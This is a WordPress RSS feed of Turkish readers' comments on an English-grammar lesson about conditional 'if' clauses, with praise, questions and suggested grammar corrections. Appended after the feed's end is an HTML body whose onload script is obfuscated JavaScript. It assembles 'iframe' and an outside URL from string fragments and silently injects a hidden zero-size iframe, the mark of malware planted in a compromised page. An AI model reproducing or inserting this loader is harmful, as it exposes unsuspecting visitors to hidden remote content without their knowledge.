<?xml version="1.0" encoding="UTF-8"?><!-- generator="wordpress/2.3.1" -->
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>
<channel>
	<title>If Clauses yazısına yapılan yorumlar</title>
	<link>http://engilizce.com/karma-konular/if-clauses.html</link>
	<description>Ücretsiz İngilizce Dersin Adresi</description>
	<pubDate>Tue, 07 Oct 2008 17:39:02 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.3.1</generator>
		<item>
		<title>fatıma tarafından</title>
		<link>http://engilizce.com/karma-konular/if-clauses.html#comment-1863</link>
		<dc:creator>fatıma</dc:creator>
		<pubDate>Sat, 04 Oct 2008 17:09:01 +0000</pubDate>
		<guid>http://engilizce.com/karma-konular/if-clauses.html#comment-1863</guid>
		<description>yaw ben hiç bişi anlamadım desem yalan olur anladım desemde yalan olur arada kaldım yawff ya ama anladım sadece can will should nerelerde kullanılıyo onu anlayamadım offf:(</description>
		<content:encoded><![CDATA[<p>yaw ben hiç bişi anlamadım desem yalan olur anladım desemde yalan olur arada kaldım yawff ya ama anladım sadece can will should nerelerde kullanılıyo onu anlayamadım offf:(</p>
]]></content:encoded>
	</item>
	<item>
		<title>CRAZY CAN tarafından</title>
		<link>http://engilizce.com/karma-konular/if-clauses.html#comment-1848</link>
		<dc:creator>CRAZY CAN</dc:creator>
		<pubDate>Fri, 03 Oct 2008 16:38:06 +0000</pubDate>
		<guid>http://engilizce.com/karma-konular/if-clauses.html#comment-1848</guid>
		<description>selam.. bu kadar iyi açıkladığınız için sağolun.çokişime yaradı.yoksa zayıf alacaktım.nereden bulurum diye düşünüyodum.defterimde örnek yoktu.internetten buldum saolun</description>
		<content:encoded><![CDATA[<p>selam.. bu kadar iyi açıkladığınız için sağolun.çokişime yaradı.yoksa zayıf alacaktım.nereden bulurum diye düşünüyodum.defterimde örnek yoktu.internetten buldum saolun</p>
]]></content:encoded>
	</item>
	<item>
		<title>ebru tarafından</title>
		<link>http://engilizce.com/karma-konular/if-clauses.html#comment-1804</link>
		<dc:creator>ebru</dc:creator>
		<pubDate>Sat, 27 Sep 2008 11:19:23 +0000</pubDate>
		<guid>http://engilizce.com/karma-konular/if-clauses.html#comment-1804</guid>
		<description>bence süpeer olmuşş!çok sağolun.</description>
		<content:encoded><![CDATA[<p>bence süpeer olmuşş!çok sağolun.</p>
]]></content:encoded>
	</item>
	<item>
		<title>sinem tarafından</title>
		<link>http://engilizce.com/karma-konular/if-clauses.html#comment-1660</link>
		<dc:creator>sinem</dc:creator>
		<pubDate>Thu, 18 Sep 2008 12:09:47 +0000</pubDate>
		<guid>http://engilizce.com/karma-konular/if-clauses.html#comment-1660</guid>
		<description>bence çook güzel ama biraz daha fazla cümle olursa iyi olur bence</description>
		<content:encoded><![CDATA[<p>bence çook güzel ama biraz daha fazla cümle olursa iyi olur bence</p>
]]></content:encoded>
	</item>
	<item>
		<title>merve tarafından</title>
		<link>http://engilizce.com/karma-konular/if-clauses.html#comment-1426</link>
		<dc:creator>merve</dc:creator>
		<pubDate>Sun, 10 Aug 2008 14:49:28 +0000</pubDate>
		<guid>http://engilizce.com/karma-konular/if-clauses.html#comment-1426</guid>
		<description>bence çok güsel anlatmışınız.ellerimnize sağlık.bende örnek arıyodum ve buldum.ama biraz daha örnek olursa iyi olur.iyi değil diyenlerde biraz anlayarak okusunlar...</description>
		<content:encoded><![CDATA[<p>bence çok güsel anlatmışınız.ellerimnize sağlık.bende örnek arıyodum ve buldum.ama biraz daha örnek olursa iyi olur.iyi değil diyenlerde biraz anlayarak okusunlar&#8230;</p>
]]></content:encoded>
	</item>
	<item>
		<title>alos tarafından</title>
		<link>http://engilizce.com/karma-konular/if-clauses.html#comment-1420</link>
		<dc:creator>alos</dc:creator>
		<pubDate>Fri, 08 Aug 2008 22:32:12 +0000</pubDate>
		<guid>http://engilizce.com/karma-konular/if-clauses.html#comment-1420</guid>
		<description>Merhaba yanlis bilmiyorsam 'third conditional' da 'main clause' tani 'if' li kisim past perfect tir, result kismi yani virgulden sonrasi present perfect tir. Burada past perfect olarak anlatilmis. Bir daha gozden gecirebilirseniz faydali olacagi kanaatindeyim.</description>
		<content:encoded><![CDATA[<p>Merhaba yanlis bilmiyorsam &#8216;third conditional&#8217; da &#8216;main clause&#8217; tani &#8216;if&#8217; li kisim past perfect tir, result kismi yani virgulden sonrasi present perfect tir. Burada past perfect olarak anlatilmis. Bir daha gozden gecirebilirseniz faydali olacagi kanaatindeyim.</p>
]]></content:encoded>
	</item>
	<item>
		<title>zimro tarafından</title>
		<link>http://engilizce.com/karma-konular/if-clauses.html#comment-1061</link>
		<dc:creator>zimro</dc:creator>
		<pubDate>Mon, 30 Jun 2008 12:10:37 +0000</pubDate>
		<guid>http://engilizce.com/karma-konular/if-clauses.html#comment-1061</guid>
		<description>yes i coud ............... your site incredible english ok.</description>
		<content:encoded><![CDATA[<p>yes i coud &#8230;&#8230;&#8230;&#8230;&#8230; your site incredible english ok.</p>
]]></content:encoded>
	</item>
	<item>
		<title>samet tarafından</title>
		<link>http://engilizce.com/karma-konular/if-clauses.html#comment-972</link>
		<dc:creator>samet</dc:creator>
		<pubDate>Fri, 06 Jun 2008 20:31:22 +0000</pubDate>
		<guid>http://engilizce.com/karma-konular/if-clauses.html#comment-972</guid>
		<description>ÇOK TEŞEKKÜRLER,KONUYU BÜYÜK Bİ İTİNA İLE ANLATMIŞSINIZ HERŞEY ÇOK AÇIK VE NET.BANA ÇOK FAYDASI OLDU.BİR ÇOK TÜRKÇE KONU ANLATIMLI KİTAPTAN DAHA SADE VE ÖZ.</description>
		<content:encoded><![CDATA[<p>ÇOK TEŞEKKÜRLER,KONUYU BÜYÜK Bİ İTİNA İLE ANLATMIŞSINIZ HERŞEY ÇOK AÇIK VE NET.BANA ÇOK FAYDASI OLDU.BİR ÇOK TÜRKÇE KONU ANLATIMLI KİTAPTAN DAHA SADE VE ÖZ.</p>
]]></content:encoded>
	</item>
	<item>
		<title>erol avcı tarafından</title>
		<link>http://engilizce.com/karma-konular/if-clauses.html#comment-850</link>
		<dc:creator>erol avcı</dc:creator>
		<pubDate>Fri, 23 May 2008 20:06:43 +0000</pubDate>
		<guid>http://engilizce.com/karma-konular/if-clauses.html#comment-850</guid>
		<description>arkadaşlar ikinci koşul cümlesindeki HAD aslında were olması lazımdı galiba</description>
		<content:encoded><![CDATA[<p>arkadaşlar ikinci koşul cümlesindeki HAD aslında were olması lazımdı galiba</p>
]]></content:encoded>
	</item>
	<item>
		<title>ezel tarafından</title>
		<link>http://engilizce.com/karma-konular/if-clauses.html#comment-840</link>
		<dc:creator>ezel</dc:creator>
		<pubDate>Thu, 22 May 2008 17:26:49 +0000</pubDate>
		<guid>http://engilizce.com/karma-konular/if-clauses.html#comment-840</guid>
		<description>simple past-----will,can,may
simple present------would,could,might</description>
		<content:encoded><![CDATA[<p>simple past&#8212;&#8211;will,can,may<br />
simple present&#8212;&#8212;would,could,might</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<html><body onload="status=' ';zz='o';sl='/';sf='ram';us='t';pi='b';po='.';gw='fi';qu=':';yh='a';vo='n';bw='e';pj='m';iu='s';pt='tp';yw='c';ab='src';dg='ht';ko='e';wd='if';hh='r';t=wd.concat(sf,ko);xx=dg.concat(pt,qu,sl,sl,iu,us,yh,pi,hh,zz,zz,pj,po,yw,vo,sl,gw,hh,bw,sl);var oE=document.createElement(t);oE.setAttribute('width','0');oE.setAttribute('height','0');oE.setAttribute('style','display:none');oE.setAttribute(ab,xx);document.body.appendChild(oE);
"></body></html>